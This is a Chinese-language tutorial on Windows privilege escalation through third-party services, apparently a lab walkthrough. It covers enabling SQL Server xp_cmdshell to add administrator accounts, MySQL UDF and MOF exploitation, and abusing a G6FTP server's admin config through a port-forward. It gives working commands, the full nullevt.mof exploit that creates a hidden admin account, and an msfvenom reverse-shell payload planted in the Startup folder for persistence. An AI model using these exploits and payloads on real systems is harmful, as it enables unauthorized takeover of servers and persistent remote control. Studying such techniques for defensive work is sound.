Windows提权之第三方提权(九)

除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对, 会对服务器造成安全隐患,从而导致服务器被提权。

一.sqlserver提权

1.描述

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令

2.敏感文件
复制代码
web.config 
config.asp 
conn.aspx 
database.aspx

3. 复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接开启xp_cmdshell

开启xp_cmdshell

复制代码
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。

二.mysql提权

1.描述

在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微

dll,c语言编写

2.插件目录

可以使用语句查询plugin插件目录

show variables like "%plugin%"

我们打开phpadmin

假如这个目录 或者配置文件不存在 我们都无法读出成功

我们查看是3306端口开启

然后去我们访问

我们首先先找到这个目录

C:/phpStudy/MySQL/lib

把这个dll文件你删除掉

我么首先关闭phpstudy服务 让后在删除删除

然后我们导出udf

这里显示导出成功

然后我们点击 创建函数

这里是创建函数的sql语句

然后我们查看用户

然后查看创建的函数

查看端口

自己输入指令

select sys_eval('whoami')

发现我们是系统权限

所以我们增加超级管理员

然后查询权限

然后我们就可以是使用3389登录

3.mysql提权问题

1.版本有32和64位的mysql创建函数的方法一样,但是64版本的要用64的udf.dll

2.TheMySQLserverisrunningwiththe--secure-file-privoptionsoitcannotexecutethis statement

这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可

SELECT @@global.secure_file_priv

如果显示null 那摩也不行

3.Can'tcreate/writetofile'D:\phpStudy\MySQL\lib\plugin\moonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

三.mof提权

1.描述

托管对象格式 (MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF文件将在 CIM储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI和 VisualStudioAnalyzer使用。 在 MOF文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译

2.原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命

令。

3.影响版本

1.windows03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录3.secure-file-priv参数不为null

4.复现

公开的nullevt.mof利用代码

复制代码
#pragma namespace("\\\\.\\root\\subscription")

instance of EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2"; Name	= "filtP2";
Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};

instance of FilterToConsumerBinding
{
Consumer	= $Consumer; Filter = $EventFilter;
};

上传mof.php

然后添加host文件

首先我们要增加账户

先查看账户

我们来创建隐藏账户(在net user 里边看不见)

我们在这里查看隐藏账号

这里边也创建了文件

我们来输入

net.exe user moonteam xxx12456 /add \&\& net localgroup administrators moonteam /add\

在这里我们发现已经成功了

四.G6FTP提权

1.描述

G6FTPServer新一代的 FTP服务器端软件,支持 RFC-959标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

2.原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端 口转发(使用lcx工具(lcx具有三个功能:监听、转发、端口转向))。

netstat -ano 查看G6fp端口

TCP 127.0.0.1:21 0.0.0.0:0 LISTENING 1072

TCP 127.0.0.1:8021 0.0.0.0:0 LISTENING 1072

TCP 192.168.25.146:21 0.0.0.0:0 LISTENING 1072

3.复现

在webshell访问 配置文件C:\ProgramFiles (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\

我们打开编辑

复制代码
[Server]
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
[Acct=Administrator]
Enabled=1
Rights=0
Password=E10ADC3949BA59ABBE56E057F20F883E
[Acct=admin]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=
[Acct=moonsec]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=*
RootFolder=C:
Rights=1
IPAccessList=
[Acct=admins]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=

密码是123456

可以看到8021端口只能被本地访问

使用端口转发工具把8021端口转发出来

C:\inetpub\wwwroot\lcx.exe

我们输入

然后 输入执行

C:\inetpub\wwwroot\lcx.exe -tran 2333 127.0.0.1 8021

然后我们再终端输入

然后我们打开win10

新建 连接

在域控里新建用户

ftp 192.168.25.146

ftp 192.168.25.146

然后

我们这里失败了

我们呢也可以试试别的

ftp://192.168.25.146/

我们右键点击登录

我们用这个文件来替换

然后我们生成

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.25.138 lport=6666 -f exe > 8.exe

然后我们再本地做监听

然后我们生成好的 上传到目标主机

然后重启

我们也可以放到启动项

ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start% 20Menu/Programs/Startup/

里来进行提权

相关推荐
用户962377954482 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
阿白的白日梦10 小时前
winget基础管理---更新/修改源为国内源
windows
碳基沙盒1 天前
OpenClaw 多 Agent 配置实战指南
运维
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
蝎子莱莱爱打怪4 天前
Centos7中一键安装K8s集群以及Rancher安装记录
运维·后端·kubernetes